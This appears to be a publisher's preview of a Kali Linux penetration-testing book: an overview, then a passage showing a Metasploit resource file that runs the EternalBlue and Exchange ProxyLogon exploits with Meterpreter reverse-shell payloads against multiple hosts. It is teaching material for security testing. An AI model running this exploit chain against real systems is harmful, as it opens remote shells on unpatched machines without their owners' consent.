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Mastering Kali Linux for Advanced Penetration Testing – Fourth Edition - Fourth Edition

By : Vijay Kumar Velu
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Mastering Kali Linux for Advanced Penetration Testing – Fourth Edition - Fourth Edition

By: Vijay Kumar Velu

Overview of this book

Remote working has given hackers plenty of opportunities as more confidential information is shared over the internet than ever before. In this new edition of Mastering Kali Linux for Advanced Penetration Testing, you’ll learn an offensive approach to enhance your penetration testing skills by testing the sophisticated tactics employed by real hackers. You’ll go through laboratory integration to cloud services so that you learn another dimension of exploitation that is typically forgotten during a penetration test. You'll explore different ways of installing and running Kali Linux in a VM and containerized environment and deploying vulnerable cloud services on AWS using containers, exploiting misconfigured S3 buckets to gain access to EC2 instances. This book delves into passive and active reconnaissance, from obtaining user information to large-scale port scanning. Building on this, different vulnerability assessments are explored, including threat modeling. See how hackers use lateral movement, privilege escalation, and command and control (C2) on compromised systems. By the end of this book, you’ll have explored many advanced pentesting approaches and hacking techniques employed on networks, IoT, embedded peripheral devices, and radio frequencies.
Table of Contents (17 chapters)
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Index

Exploiting multiple targets using MSF resource files

MSF resource files are basically line-separated text files that include a sequence of commands that need to be executed in msfconsole. Let’s go ahead and create a resource file that can exploit the same vulnerability on multiple hosts:

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set rhost xx.xx.xx.xx
set lhost xx.xx.xx.xx
set lport 4444
exploit -j
use exploit/windows/http/exchange_proxylogon_rce
set payload windows/meterpreter/reverse_https
set rhost xx.xx.xx.xx
set lhost xx.xx.xx.xx
set lport 443
exploit -j

Save the file as multiexploit.rc. Now you are ready to invoke the resource file by running msfconsole -r filename.rc, where -r refers to the resource file. The preceding resource file will exploit the same vulnerability sequentially. Once the first exploit is complete, the specification of exploit -j will move the running exploit to the background, allowing the...